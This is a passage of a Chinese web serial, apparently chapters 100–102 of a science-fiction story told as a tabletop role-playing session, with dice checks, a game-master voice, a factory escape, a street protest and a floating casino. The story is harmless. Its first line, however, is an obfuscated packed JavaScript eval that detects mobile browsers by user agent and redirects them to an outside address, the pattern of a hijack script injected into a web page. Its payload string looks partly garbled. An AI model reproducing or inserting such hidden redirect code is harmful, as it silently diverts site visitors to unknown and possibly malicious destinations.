;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15146421|154276||http|test|mini|href|location''.split(''|''),0,{}));
() {
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/检定):37/60-10 普通成功】
【伤害:1D10+1D4+2=7】
【以布灵感检定(san check):成功-1,失败-1d3
65/50 失败
san值-1 san:14/50】
对面残血了,没法攻击。康烁影犹豫都没有,拎起拳头一通乱拳,对方立刻变成一具叉叉眼的尸体消失了。
虽然这一波轻松无伤解决了,可枪声吸引来了许多员工。以布整个人已经支撑不住,跪在地上大口喘气。
怪不得铃铛成天带着他,原来不是他给铃铛当保镖,是铃铛怕他死了要赔钱!
康烁影伸手去拉她,kp让她过个力量。天地良心,她力量才50!没日没夜的刷题没让其他高中生羸弱到见光就死,这50还是她多年跳舞蹦迪压马路练出来的。
她急得在原地蹦跶:“kp给个机会吧!让我过个什么都行,不能就死在这儿是不是?”
【……好吧,你过一个幸运吧。】
康烁影扔了个骰子,骰子在地上咕噜咕噜滚了一圈,趾高气昂地停下。
【康烁影幸运检定(出目/检定):88/70 失败】
【……】
康烁影:“……”
康烁影:“你也不想你的玩家死在这里吧!”
【我在努力,你等一下。】
【暗骰:??? 】
“轰!”
伴随巨响,一阵烟雾从人们脚底冒出。员工们的身上凝结出紫色的水珠,水珠淌过的地方留下了一道显眼的凹痕。
康烁影正纠结于要不要丢下以布独自逃命,后面忽然有人拍了一下她,声音平直冷静:“别愣着,走。”
她毫无安全意识地跟着那个声音夺路狂奔,又是爬铁架又是下钢板梯,七拐八拐,中间还开了一两个阀门,终于停了下来。
康烁影眼前发黑,心脏快要从喉咙里跳出来。这时她看见,对方也是人类,和她在医院见过的人类身形相似。根据刚才的声音判断,似乎是个女人,很高。用一个轻松的姿势背着以布。
“你们两个来这里干嘛?”女人问。
康烁影哆哆嗦嗦:“我们要跑……”
“为什么?”
“这里太吓人了!”
女人笑了:“哦?你是这么觉得的。”
她这种游刃有余的态度,让原本恐惧与怒火齐飞的康烁影有点泄气:“……嗯。”她把一口气堵在喉咙里,怒火又重新燃起,“你在婴儿体内注射了那种东西……”
“是吗?”女人淡淡地问,“什么东西?”
康烁影脱力般慢慢蹲下来,手却摸向那把自制枪。她一点枪术都没有点,而以布现在没有行动能力,她希望能拿起枪管当钝器打对方头顶,怎么说也比赤手空拳格斗好。
“神是虚假的。”
这个声音碰撞墙壁,在房间里回荡。康烁影终于注意到,这个房间里全部都是电视。方形的屏幕如同食肉动物的眼睛盯着她,无数个屏幕里映出无数个身影。
女人背对着她,正从电视里对着她微笑呢。
“你究竟……”
女人仍然背对着她,“我说了那句话,你为什么还没有爆炸呢?”
“因为……因为……”
康烁影大脑过载。
救命,她这辈子都没看过推理小说,也没玩过推理游戏,柯南都是浅尝辄止,她的脑子扭不过来这个弯。
她求知的眼睛望向女人:“为什么?”
女人呛住,转过身来言简意赅地解释:“因为我注射的是假的微型炸弹。”
“你早说不就好了!”康烁影反过来怪她,“所以你是……好人?”
女人问:“你怎么定义好人?”
想起了反骨二人组的决明辩论,康烁影一个激灵:“我不定义!”
对方没有说话,她只是站起来打开闸门。闸门嵌在高高的墙壁上,被水管和许多脚手架掩盖,从脚手架的缝隙里能看到许多悬吊在空中,筋骨裸露的机械装备。工厂接近屋顶的窗户外,军队般整齐排列的飞行器默然不语。
“挑一辆,走吧。”她说,“你们没法在这里了,所有工人都看到你们了,这个小镇上,没有陌生人。”
“去哪儿?”
“随便逃到哪里,把这里的事传出去,让所有人都知道,这颗星球在怎样的水深火热中。”
康烁影站着不动:“这里究竟发生了什么?”
电视发出了奇怪的嗡鸣,女人转过身抱起鱼缸——她怎么还带着——放在她的办公桌旁,噼里啪啦敲起键盘。
康烁影小心翼翼地探出头,想仔细观察一下这个地方。心念一动,手中就出现了骰子。
【侦查检定:20/60 成功】
【康烁影发现,在一扇被电视掩盖的墙后面,有另一个房间。她眯起眼睛看过去,看到了一个数字的东西:打光板。那里,有一个录制室。】
【除此之外,她还发现女人的电脑上显示的东西简单得不得了,像个推箱子游戏。】
康烁影忍不住插嘴:“让我来帮你吧,我推箱子可厉害了。”
“回去坐着。”女人用波澜不惊的命令口吻说,“有被劫持的意识吗?”
“啊我是被劫持了?”
“给你上个刑?”
“No!不要!”
女人结束了推箱子。她操控着自己的电脑,调取了工厂里的监控画面:“你们先在这里等着,这里的警备一松懈,你们就跑。”
这个时候,康烁影感到自己的眼前一花,什么东西落了下来。她抬头看过去,发现是一个六面骰。她把骰子攥在手里,让它在桌子上翻滚。
【蓝组点数:6】
【你扔到了6,请再扔一次。】
康烁影又拨弄了一下骰子。
【蓝组点数:1】
女人愣了一下。不知道为什么,监控里的警备忽然松懈了。可能是所有人都来工厂里,反而没人看停机坪了。她把以布打横抱起来,让康烁影打开门,又用脚把门勾住关上:“走吧。”
康烁影追上她:“至少告诉我们,为什么要杀那个加油站员工!”
女人走路带风:“没有为什么。”
“什么是没有为什么?”
“你会因为过家家的玩偶坏了就再也不玩过家家吗?这一切,对‘ta们’来说,就只是一场游戏而已。”
女人弯下腰,抓住她的手平伸:“ta们把世界当作一场游戏,那我们也要用游戏的方法去对待ta们。现在,点兵点将也好,扔硬币也好,随便选一辆飞行器吧。”
康烁影心里默念着“点兵点将”,决定了行和列。女人大步流星走到她选定的那架飞行器前面,手臂一抬,车门上下分开。
“去吧。”女人把以布放到后座,用安全带把他绑好,“跑得越远越好,传播得越多越好。”
飞行器逐渐升空,四个圆环里的螺旋桨冲向地面形成了一股巨大的气流,将她和以布向天上推。康烁影看着操作屏,朝着下面大喊:“我——不——会——开——飞——机——!”
女人在下面大喊:“当个游戏就行了!”
员工们终于察觉到异样,也向停机坪赶来。
女人身形轻盈地跃上一架飞行器。她曲腿坐在上面,手里捏着一把蛇一样细长的枪,枪口会朝指向的位置吐出信子般的红火花。
狂风乍起,整片停机坪上响起金属刮蹭的呜呜声,令康烁影想到那诡异的号角。而女人站在最高处,只有枪口变换了位置。
直到冲过来的员工全部倒下,飞行器下面躺满身躯。她悠然甩了甩手腕,仰起头哈哈大笑,防护罩正以一个崭新的角度反射着天光,帅得惨绝人寰。那一瞬间,康烁影甚至看清了她的下半张脸。
这一天,康烁影有三个收获。
第一、出门了,并且发现女人给她塞了张地图,但是飞行棋地图。
第二、出门了,乘坐飞行器,发现飞行器的控制台也是飞行棋。
第三、出门了,看到了救她的女人的正脸。
就算这张脸严格来说她只见过一面,但她还是记得。
这不是唐捐吗!
101.天空城
颜阎最近频频遭受命运的垂青,她自觉这是个坏现象,依赖于运气会腐化她的人生,而她自己又没什么自制力。因此她谨言慎行,每天输出一百句对世界的恶毒,争取让命运的礼物从自己身上收回。但命运就喜欢强扭的瓜,它在进本的一瞬间,给了她们一个6。
铃铛正要欢呼,颜阎却高声哀叹:“铃铛,小心啊!你被我的幸运波及了,生活已经在等着暗算我们啦!”
石头人郑重点着不存在的头,表示理解:“我懂。当你过了一段特别顺、特别好的日子后,就会变得提心吊胆,总感觉有什么坏事要来了。”
这两个人的设定是一对狐朋狗友,文化水平不高,笃信阴谋论,坚称世界是平的。二人一朝相逢,倾盖如故,当场劫别人的富济自己的贫,抢了一辆飞行器,直飞政府大楼,誓要揭露统治者的阴谋,还地平论一个公道。
由于良心全无,前路坦荡无虞。两人过得无比滋润,不知何处一直响着梦幻如夏日的蒸汽波音乐,给她们的感觉仿佛在春游。
在飞行器自动驾驶的间隙里,从角落里翻出一套玩玻璃牌玩。
这东西有点像水晶麻将,但是有双人、三人、四人的不同规则,颜阎没有麻将技能,还是铃铛现场教的。
“我一直很好奇。”颜阎摸牌,看了看,没用,又给丢回去了,“这些桌游到底是谁发明的?”
“起源很多啦。”铃铛很正人君子地帮她把一排排摆正,“比如扑克,有人说是玛丽基金会的员工发明的,也有人说是智械的运算产物,听说从前迁氧和人类还为谁发明了扑克打过仗。”
“不管什么有趣的东西,都能变成恶的导火索。可悲的智慧生物啊。”
铃铛抬起眼睛,一脸惊奇:“你这个年纪说什么呢?年轻人要朝气,老气横秋的干什么?”
“……年轻人也有社会评论的权力,请正视年轻人的需求,把权力还给年轻人。”颜阎抗议,“而且年轻人哪里朝气蓬勃了?上过高中的人都说不出来这种话。”
“你们仨高中生里你最乐呵。”
“笑,只是我穿的保护色。”
铃铛真怕她唱起来,她也确实唱了,唱得非常自信,唱完副歌就期待地看着她。
铃铛不语。
颜阎期待。
铃铛扭头。
颜阎还在期待。
铃铛摸了一张牌。
颜阎尴尬大叫:“你快说点什么呀!吐槽也好无语也好鼓掌也好,你说呀!”
“我能接什么?接歌吗?”铃铛也很委屈,“我怕你再接下去。”
“放开呀!不鬼嚎你怎么释放压力!”
“我不会在公共场合唱。”
“又没有别人。”
【呃,有我。】
颜阎大喜过望,立刻转移话题:“是kp吗!”
【是我,但我看你们不太需要引导什么的,你们需要的时候我会出现的。】
然后就没有声音了,连音乐都停了。颜阎大惊:她就说哪来的bgm,原来是kp在走神玩手机!
不负责任的kp把她们丢下,自己去动次打次。颜阎和铃铛又扔了几次骰子,连连飞跃,火速直达,搞得kp总是出来扔暗骰。
kp也不闲着,每次扔骰子都要给她们放一首劲爆的音乐作为出场音效,放完还要问感想。
铃铛称赞:“不错呀,挺好听的。”
颜阎捂住耳朵呻吟:“你知道你像什么吗?下课用教室屏幕放MV的韩娱妹。”
【没品位。】
【(更加激昂的音乐)】
【This is true music。】
颜阎低下头抽玻璃牌,不理她。
铃铛也默默抽牌,赢了。
两个人沉默地推倒重来。
【……你们快说点什么行不行,吐槽也好无语也好鼓掌也好,说一点吧。】
“我们别理她。”颜阎说,“再来一把吧。”
kp气呼呼地静音了,这里真的只剩下她们两个人。颜阎有新手运,但也只是偶尔赢两把,铃铛大赢特赢,战绩把她按在地上打。她不解:“你怎么做到的?”
铃铛转动身体:“想知道?”
“想知道!”
“一种文化传承啦。”铃铛把身子一扭,让颜阎从她的角度来看。
颜阎走过去坐下。从铃铛的角度看过去,她的牌摆得特别整齐,玻璃牌有花纹的那一面冲着她,上面凿刻的痕迹很深很深,她拿来自己的牌对比,没感觉出什么不同。调换了角度,也没感觉到什么特殊的反光。
“这就是我的诡计。”铃铛微笑道,“我出千了,但是我不告诉你我是怎么出千的,你也看不出来。实际上,玻璃牌从发明到制作,就是一种鼓励出千的牌。它刚发明的时候,出千者损招百出。后来甚至分成了两套打法,一套是正经打牌的规则,也有一套规则是出千专用:一个玩家扮演刻石人,去抓出千者,被抓到的成为新的刻石人,只要把牌打完,不管是出千还是正经打牌都算赢。”
颜阎听罢连连拍手:“太适合家庭小游戏了,我要拿出千版回呼叫中心玩!快教我出千!”
“我的方法你学不会的。”
“为啥?”
铃铛神秘兮兮地笑,不说话,装高手。
颜阎的兴趣来得快去得也快,她很快就换了话题:“玻璃牌是啥时候的?”
“也不近了,五千年前吧。”
“你们玛丽基金会多久了?”
“玛丽基金会时间长,我们可是全宇宙最长寿的组织。”铃铛说,“但我不是玛丽基金会的人,我只是个找工作的,家里人看我太自在,把我踢出来了。”
通历就是从玛丽基金会正式和雷姆利亚星建交开始的,这代表着文明终于流通了,星球之间的联系不再是天方夜谭。曾经玛丽基金会占据着无与伦比的地位,如今虽然式微,但仍保持着中立地位。虽然都兰联合没有它的席位,可实际上灵肉为主的觉醒联盟并不够强大,基本靠玛丽基金会的援助才得以建立,所以觉醒联盟大部分时候都和玛丽基金会共同进退。
这些都是颜阎从图书馆借书看来的。她并不指望铃铛了解这些,毕竟她是纨绔子弟,对政治和历史一窍不通就再正常不过了。不如说大部分人都是一窍不通的,不然她也没有机会在自习课给同学讲野史和历史冷笑话。
“玛丽基金会到底靠什么赚钱的?撑这么久?”从政治与经济开始抛弃政治这门课、但又真的很想让刘征兰和康烁影一夜暴富从而包养自己的颜阎问,“纯靠生物科技?你们那儿几时机是生物的时代?”
铃铛摆弄着玻璃牌:“不是啦。是靠医疗技术。”
“很高级吗?”
“嗯。尖端科技都在我们这儿了。”
颜阎搓手掌:“我妈身体不好,你能不能给调理调理。”
“好呀。”铃铛摆弄着手里的玻璃牌,笑滋滋抬起头,“要花钱哦。”
“收金币不?”
铃铛一顿:“……什么?”
“说来话长,大概是我主观能动性比较强吧。等我出去就给你。”
“啊?啊?哦……啊?”
【姑娘们,到你们了。】
kp又回来了,这次的蒸汽波音乐魔幻色彩更加浓厚,仿佛要带着人飞升天国。
【黄组点数:6】
【嘟嘟,你扔到了6!你选择前进,还是让另一辆载具出门呢?】
“载具出门有什么好处?”颜阎问,“飞行棋我玩过,我指的是这个本的意义上。”
“下一次可以直接使用载具,不用到处找载具。”
“那肯定是出门啊!”
【给你们安排好了。下面再扔一次吧。】
颜阎扔到了4,两个人今天可以飞四格的距离。只不过颜阎有一个疑问。
如果她想同时让两颗棋子走在棋盘上,会怎么样呢?
两人这次的停靠点是一个大型城市,此地大厦林立玻璃晃眼,城市被一道运河分开,一条悬索桥横跨东西,仔细看去,方能发现运河的真身是一种透明如宝石的焰火。如果她们来得再早一点,或者刘征兰走得再晚一点,说不定还能碰见。
该城市十分具有欧美风情,街上熙熙攘攘人头攒动,横幅与头巾齐飞,定制T恤与彩纸一色——抗议啦!
生物的本质就是爱看热闹。颜阎和铃铛完全不顾自己在逃命,两人伸着脑袋顺着路边看抗议。
铃铛很习惯,她说这种事在她老家实在太常见了。而颜阎作为没出过国的东亚人,第一次亲身感觉到这种热烈的氛围,她乐颠颠跟了一段,因为步伐跳跃笑容灿烂,一下子就融入了队伍,铃铛捞都捞不着她。
抗议的队伍浩浩荡荡。前面的人嗓门奇大,心情激昂,细足在地上搁愣搁愣作响。中间的人就悠闲很多,大部分人只是象征性喊两嗓子,偶尔向道路两边的人挥手。
最后面的步伐缓慢两眼无神,头已经出去了脚还在二里地外,它们一句话都不喊,就算说话也只是彼此凑在一块儿聊一些工作、生活和家门口花园的问题。
颜阎这种活泼开朗的小姑娘特别招中老年人喜欢,她一进去就和它们打成一片。她甜滋滋问:“这里是在抗议什么呀?”
“抗议新总统。”一个玻璃一样的中年人回答她。
颜阎把头向一边歪过去,貌似认真地想了想:“我不太关注政治诶,它做了什么吗?”
“它上任以来,税率变得特别高,治安变差,连工作时长都变长了!”
另一个人插嘴:“垄断和黑市贸易几乎影响我们家庭作坊的生意了!”
“你们知道市场今年的馔晶成色是什么样的吗?是粉末啊!佐斐那多少年没出现过粉末馔晶了?上一次还是□□年代!”
“啊?明明今年山头收成不错。”
“就是啊,好馔晶肯定早被预定了,哪轮得到我们。”
“噫,装都不装了。”
颜阎在旁边帮腔:“那太坏了!”
中年人们热情地抓住她的身子:“年轻人,就是要像你一样。多参与时事,发表意见,这个社会才能更好!”
颜阎点头:“您说的对呀!”
“我年轻的时候,可是搞过学生协会的……”
“我年轻的时候是学生会长!”
“唉,我也就一般般,是个普普通通的街区代表……”
颜阎打断它们的话,尴尬中带着一丝扭捏:“不好意思……我家里比较穷,没有办法上学,这些我都当不上。来白城也只是讨生活的。”她扬起脸,一派天真无邪,“但你们的游行让我有一种……呃……有点不好意思说……就是……很激动,我觉得你们很勇敢!”
贫穷,坚强,富有同理心,最重要的是,支持它们!她立刻引起了周边一众游行者的同情和喜爱,一大堆人往她手里塞零钱、零食、优惠券和游行纪念品。
颜阎原地愣住,登时泪眼莹莹:“谢谢……非常感谢……我……”
队伍中间的人们被纷纷向她靠近,她摇着头露出一个比哭还难看的笑:“不好意思……”
“没事,没事。”大家安慰她,“总有办法的,向前看哈。”
颜阎跟着游行的队伍走出几个街区,中途还要许多外人加入它们。从队伍的增长来看,这位新总统还真是不得人心。
队伍里有几个人一直贴着她,充当她的左右护法。路过城市里的持枪雕像时,它们指着它为颜阎介绍:“这是我们的统一之王,飞升者葛亚莲卡,佐斐那星球进入全球化时代的第一任总统。”
经过浮空大厦,有个人介绍:“刻石通讯公司,彩电电脑传真机都可以在这儿买。”
经过天桥,有人介绍:“桥,可以在这儿乞讨。”
这个人被群殴之。
颜阎很不好意思地低着头:“对不起……我……唉……”
她欲言又止,最后抓住离自己最近的两位,把手里的东西一股脑塞进它们手里:“对不起……我……我刚才说的是假的。我其实只是看这边人多,想问问哪里可以找工作,并不是真心关注时事。您把这些东西还回去吧,我拿着实在是……唉……”
被它拉住的这两位心里想了很多,比如贫富差距,比如真诚的可贵,比如无知之幕,最后两个人感动不已:“没事!孩子!东西你都收着!我们给你想办法。”
但它俩也是普通人,并没有多少途径,只能拼命给她介绍:“威
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尔街有很多咖啡馆招工,格里唐便利店收留流浪者,实在不行可以去刻石通讯公司碰碰运气,对了,千万不要去下街,那里太乱了……”
最前面的队伍忽然响起整齐的口号:“反对新总统!”
那两个人搂着颜阎:“快快快,跟着喊。”
颜阎觉得挺有趣的,于是举起手臂:“反对新总统!”
“反对新政!”
“反对新政!”
“新政的支持者在群众的对立面!”
颜阎不喊了。
“新政的支持者是背叛者!”
队伍中有人把新总统的丑化后的脸印到手幅上,然后画上一些辱骂的语言。队伍里的人哄笑着读那些字。
时代的毒瘤、傀儡、吸血鬼的保护蝙蝠……
颜阎低声说:“不好意思,我要走了。”
“为什么?”她身边的人问,“游行还有很长一段呢。”
颜阎哭丧着脸:“我请人帮我看行李,再不走,就到时间了。”
“就一会儿。”
“真不行!”颜阎又要哭了,“对于我们这种穷人来说,信誉是很重要的。”
队伍里的人们不情不愿地放开了她,但坚持要求她带着人们送她的东西。
扭身从队伍里跑掉,颜阎朝来路狂奔,果然在原点碰到了气鼓鼓的铃铛。
铃铛见她自动回来,刚想说点什么。却发现颜阎的状态有点奇怪。她小心翼翼地问:“你生气了吗?”
颜阎摇摇头,面无表情地把东西往铃铛手里递:“要不?”
“人家给你的,我才不要。”铃铛摇头,“你不要拒绝不就行了。”
“话是这么说,但我们这辈子也见不到几次,它们送,我收,我们都高兴。我后续怎么处理的,它们又看不到。当时乐呵就行了。”颜阎摆弄着手里的小钥匙扣,冷笑了两声,“这种氛围太狂热了,我还挺受不了的。”
她觉得,如果是她,肯定也会帮这样一个可怜小孩儿,所以她接受别人的帮助时毫不心虚。这何不是一种自信。怪不得她没朋友。
“走吧,我们去下街看看。那边最乱了,一定有消息。”颜阎把钥匙扣一抛一接,思考着怎么拿它们去卖钱,“一般情况下都是这种地方才有消息。”
嘴上这么说,其实她和铃铛都觉得刻石通讯公司很可疑。俩人在通讯公司楼下过了个侦查,然后发现:她俩上不去。
佐斐那有少量浮空建筑。这些建筑并没有明令禁止什么人出入,但普通人可负担的飞行器无法攀升到浮空建筑的高度。因此大部分进出浮空设施的都是富人或者政圈人士。
小混混抢来的飞行器不可能有多高级,两个人假装没来过这儿,一扭头朝下街去了。
下街,与大部分贫民集中地一样。混乱,无序,商铺关门,街溜子满地。几个蹬着车的路过迁氧蹬着带喇叭的车收废品和彩电。路边有两伙小混混在怒吼着彼此攻击,导火索貌似是“你瞅啥”“瞅你咋滴”。
颜阎看着这里,脸上不由自主露出一丝微笑。
这种评不上文明城市的街道管理,这死气沉沉满腔怨愤的人,这语言粗鄙声音高亢的骂架。啊,陶县,你回来了!我一点都不想你!但看到这儿还是很亲切!
“我明白了。”颜阎脸带圣光,“一切都明白了。”
铃铛不寒而栗:“你明白了什么?”
“既然这里和陶县结构一样,那么套入相同理论,很可能得出类似结果。唯一的变量是地域,但说实话我觉得以现在星际旅行的丰富程度来看,地域文化再怎么改变也不会变到哪里去。这宇宙怎么跟三流小说家写的小说一样变化稀少。”
她一边莫名其妙地吐槽一边带着古怪的笑容前行,左转右拐,根据(不存在的)县城分布公式,准确来到一个楼道前,开门就进。
按照陶县格式,这里是当地多缩学校的交界地——旁边的烧烤摊。金钱流通量一等一,游荡着生不如死的学生,五颜六色社会人,和对未来充满希望的学生,最后一种往往是重症精神病患,毕业后不是理想崩塌就是卷天卷地光荣阶级跃迁成为新一代弱者最恐惧的leader。
而在佐斐那星球,这里是一个流浪者营地。营地管理者和现在的刘征兰一个种族,它代表所有人欢迎颜阎和铃铛的到来,还为她们分发了营养剂。
一个长得像方块的迁氧问:“哪来的?”
“孤儿,一直在流浪。”颜阎装可怜。
“那你们是怎么过来的?”一个口音很高贵的迁氧问。
铃铛故作自豪:“搭便车。”
“说谎。”长得和康烁影很像的“牙牙乐”尖叫,“你们,抢了车吧!我看到你们的通缉了!”
这群人看起来并不凶恶,说话都不夹杂粗俗的脏话,但是行为相当狂野。牙牙乐说完,所有人堂而皇之摸出各色武器,对准二人身体。
颜阎大声尖叫:“我说!我说啦!但是我说了你们也不信!”
管理员冷冷:“说!”
“我们要飞到天上去!我们有要证明的东西!”
她们的意思其实是证明地平论。但这些人听到这句话,都齐齐松了一口气。
“原来都是逃难的。”
颜阎还在装傻:“逃难?”
“我们这里是这么叫的。”牙牙乐笑了笑,“我们是从矿区逃出来的。矿区有怪事发生,天上总响起号角,号角响起时必须跪下,什么都不能做。我家里人什么都没做,有一天莫名其妙就死了。当地说这是神罚,我不信,我逃出来,却发现外界完全不知道这些事。”
“哇哦!”颜阎惊愕。
“我差不多。我家里人也莫名其妙被杀死了。”方块说,“它身边的空气被抽干,直接挤压死了。警察什么也查不出来,我去电视登悬赏,登石通告,也没人能帮我。然后我就来了这里。”
管理员叹了口气,它从身体里摘出一块冰晶。颜阎放在手里看了看,那是一个筹码,水晶的,握在手里很莹润,手感奇好。
“我在家里,它从天上掉下来,把我的花圃咋坏了。”管理员说,“当时天上什么都没有,没有浮空楼,没有飞机,它就是掉下来了。”
“天上,有东西。”
102.生态箱
啊……又没钱了,最近真是风头紧行情差,手里的钱全输光了,还有人来拦路打劫它这种穷光蛋。
米普躺在地上,把一截断掉的身体拆下来扔到路边。
它想起前段时间和老朋友见面时发生的事。那是毕业后第一次见面,对方为它过得这么差而惊讶。实际上最近的迁氧不是去参军就是进工厂,按道理来说应该不缺工作。
事实也的确如此,但它实在受不了军队规律而严苛的生活。它在军队里没日没夜地赌钱、饮木,把醺木与金钱收入囊中。
军队的宿舍里往往有一股烧焦的气味,声音搅得人头脑发昏,打半个晚上的牌,很多人就会抽搐着倒下,被抬到床上,下半夜再醒来继续。
但米普并不喜欢在那里打牌。没有人在享受打牌,人们只是在享受狂吼乱叫的氛围。不打牌的时候,它们会发抖,尖叫,打惶剂,一提到打仗,所有人脸上的笑容都僵住,后面再努力的吹嘘都无法抹去那一瞬的沉默。只要能忘掉自己是谁,它们什么都愿意做,他们甚至愿意变成一张被撕碎的牌,被吹灭的醺木。
米普不害怕打仗,它觉得打仗像是一个战略游戏。这里有严格的系统和久经磨练的战术组,只要合理分配,加上一点点运气就能赢。
它的连队先是被调到诺斯特巨构附近的行星蹲守,很快长官们发现沟通有误,目的地不应该是诺斯特巨构,而是诺斯太空站。但人都到了,它们干脆被派到战场y轴的星球做反引力设施的研究,紧接着又被带到某个地方防守无人机——后来大家发现根本没有无人机,是一个军官搞错了星球坐标,又不愿意承担责任,就把它们调到了那里,号称它们击沉了十万台无人机和一艘塔台。连队全员被授予荣誉,即使它们没有真正击落过任何一架无人机。
米普感到无比的疑惑:出现了这种毫无技术含量的错误,失败必然很快会到来,可人类为何迟迟没有获得战争的胜利?
答案是,人类的失误也不少。它们被送错地点时,人类因为情报网漏洞百出,几乎所有情报点都被迁氧打通,要不是泰雷恩特发现及时,恐怕人类真要相信迁氧能把黑洞绑黑洞实现多重宇宙。它们做机密研究时,人类内部在到处迫害异己分子。它们攻击不存在的无人机时,人类工厂谎报了几十万台无人机的产量获得了表彰。
所谓的战争,比的就是哪边的失误更少。所谓的决策,大部分时候不是经过严密的逻辑推理、多层讨论和多方面评估后下达的,而是一些并不全知全能的大人物脑袋一拍:“唉,我有个主意!”
因为世界的变量太多了,任何生物都不可能全盘考虑。所谓的局势预估正确,往往是命运跟它们不谋而合,而不成功的时候,可以找到的因素则数不胜数。
这里面毫无决策、深沉或者高明可言,简直就像是一群孩子在过家家,有些人想一出是一出,有些人想不玩就不玩,有些人为了玩下去把自己的玩具送给别人,有些人被排挤不让一切玩。
并没有人真的在享受与命运交锋的瞬间,上位者都只是是在沾沾自喜,而被牺牲的人们只想逃命。
米普在授勋的那天当了逃兵。变卖武器和军服,拿上这笔钱走进赌场,输得放声大笑荡气回肠酣畅淋漓,人生到头第一大乐事!
它的老同学听完十分无语,接济了它一点钱,然后露出神秘笑容。
“想不想赌把大的?”
米普大惊:“你改行卖保险了?!”
对方大笑:“风险更大,收益更多!”
米普把那张宣传单举到眼前:“生态箱赌场吗……也行吧……”
它收拾好衣服,把藏在身体环节里的钱拿出来,在一个夜晚登上了生态箱赌场的停机坪。
作为一个太空站式赌场,搜身非常严格。幸而米普只带了财产和一副轻型压缩牌,压缩牌寄存在门口,它就可以进去了。
看到那副牌的时候,前台发出了代表惊喜的高声调声波:“玻璃牌!”
“这违规吗?”米普笑着问。
“只要寄存就不会。”前台身体里的电弧向一扇富丽堂皇的大门的方向闪烁,“请吧。”
走进俱乐部,米普才意识到前台的表情是什么意思。
玻璃牌,因为规则易懂操作便捷,已经作为一种新兴牌种,在生态箱赌场里占据一席之地。但它比起老牌种扑克,拥趸少之又少,很多人凑不成局。这个时代还只有四人局,没有后世改良的二三人局。
面对牌桌旁边那几个心急如焚的赌徒,它衷心笑了:“这次可有的玩了!”
与此同时,赌场另一边,颜阎和铃铛蹲在赌场角落厚重的红帘子后面不知所措。
“什么?”铃铛问,“怎么就,不是,我是说,嗯?”
颜阎也有点慌,她深吸一口气,迈腿出去:“走,总之先去要菠萝包猪扒包和珍奶。”
“你回来!”
她俩为什么在这儿,说来话非常之长。
流浪者营地的人听说她们也是逃亡者,给她们的建议是:天上的人早晚会入侵到地上,不如找途径去天上,这样才能逃过神罚。
途径有很多,比如“天尽头”灯塔,飞行器小镇莲卡,实在有能力还可以硬闯政府大楼。颜阎一听:巧了呀,姐们儿正是想硬闯政府大楼,各位有什么办法送姐们儿一程?
大家看向她的眼神多了一丝怜悯。牙牙乐撕了片树皮一样的东西给她,放在用褐色柔软材质包裹的一个棱角上,不一会儿,那片“树皮”的顶端就化作灰碳。它把碳的那截插进自己的身体里,身体很快就摇摇晃晃起来。
颜阎不动声色地把那片树皮藏起来。
牙牙乐笑着说:“我现在宁愿相信你是搭便车来的。”
“为啥?”
“一想到连你都抓不住,愈发觉得我们的税打了水漂。”方块代为回答。
“所以,会有这样那样的资助吗?”
管理员说:“当然没有!但我们能提供一把武器,其余的你们自己去想办法吧。”
那不就简单了。颜阎和铃铛蹲守在有钱人家的悬空住宅下面,看到特别富贵的车就跑过去拿着武器:“不许动,打劫!”
然后过恐吓。
出人意料的是,颜阎的恐吓和说服都点得挺高的。只不过劫了两辆车,她就成功了。通过一段精湛的虚张声势,她夺过飞行器,勇闯政府大楼。
可能因为这次跑团融合了一些飞行棋要素,再加上真的没人能料到有疯子会一脚油门撞进大楼,两人一路火花带闪电,顶着火药死光和镭射突破大门,撞进大厅中一条钢架包裹的透明管里。
“这啥?”颜阎问。
铃铛扑过去把她按在座位上,系好安全带,把头上过山车压杠一样的东西拉下来锁住:“坐好!这种科技怎么用在这儿!”
“什……呃呃呃呃呃……”
天旋地转,重力倒转。合力F改变的痛苦塞满脏器之间的缝隙,不需要弹簧测力器她也能判断自己目前在加速上升,哎呀超重状态原来是这样的感觉啊她一辈子都不会忘了开学后的物理摸底稳了。
头部的骨头和皮肤脆弱得像一层薄膜,如果这具身体有大脑,它一定会从颅顶飞出来,身体里每个器官都蠢蠢欲动叫嚣着要呼吸自由的空气。
究极晕车选手颜阎想吐,但吐不出来。只能把座椅尽量放平,靠着椅背呻.吟。铃铛倒是镇定自若,她盯着攀升高度:一千……两千……五千……九千……
攀升速度变慢了,飞行器开始做匀速直线运动,颜阎半死不活地干呕,胡乱挥舞手臂抱怨世界抱怨人类赞美早死赞美精神病和反社会。
铃铛把她身上的安全压杠打开:“准备下机了。”
颜阎捏着手里那把外形像镜子的死光发射仪:“你会用这东西吗?”
“不会。”
“有枪术吗?”
“没有。”
“那咱俩不完蛋?”
“你也没有?”
“这面板怎么看都是跟着我们自己来的,我一女高中生我会什么枪术,我恐吓有60说服有70就已经很不对劲了好吧。”
铃铛顿住了。她显然觉得颜阎有什么后招,没想到她真就这么清清白白地冲上来了。
“那怎么办?”她哭丧着脸,“那你就敢勇闯政府大楼?”
“……我人设是地平论支持者耶,为了真理我什么都愿意的。”
“还挺敬业。”
“那必须的。倒是你,想想办法呀关系户。”
“我在这里有什么关系!就像你在这里没有学历一样我在这里也没有关系。”
“……好狠啊铃铛女士。让我们不要再互相伤害了,准备去面对我们的命运吧。”
飞行器停下了。两个倒霉蛋一人一边贴在门上,打算能跑一个是一个。二人数了“三二一”,视死如归地从飞行器里钻出来。
映入眼帘的不是冰冷的实验室,不是井然有序的邪教总部,也没有六只翅膀满身眼睛的大天使俯视她们。暗红与灿金的地毯宛如柔软草地,富丽堂皇的吊灯在头顶高悬,醺木的气息四处飘扬。纸醉金迷无论昼夜的狂欢片刻不息,水晶筹码叮当作响,推杯换盏间,财富与权力翩然流转,宛若天国盛宴。
迎宾员为她们打开了门,齐声道:“欢迎来到生态箱赌场!这里可以兑换筹码!”
颜阎把手递给铃铛:“掐我一下。”
铃铛不掐:“你现在没肉。”
“我在做梦吗……我还以为这里有个操控一切的邪教或者暴君……结果是赌场……”
“咱们先进去吧。”
